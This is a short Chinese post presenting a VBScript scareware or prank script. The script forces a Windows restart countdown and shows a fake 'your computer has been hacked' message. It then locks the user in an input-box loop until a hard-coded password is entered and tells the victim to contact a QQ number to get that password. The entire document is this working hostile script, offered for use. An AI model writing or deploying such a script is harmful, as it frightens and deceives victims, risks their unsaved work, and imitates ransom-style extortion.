代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""小辉提示您!您的电脑已被入侵请输入密码解锁否则将会自动关机!···"" ",0 ,true
dim a
do while(a <> "我爱你小辉")
a = inputbox ("密码由小辉提供! ""联系QQ:66603286"" ","小辉我爱你","小辉你好帅!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~"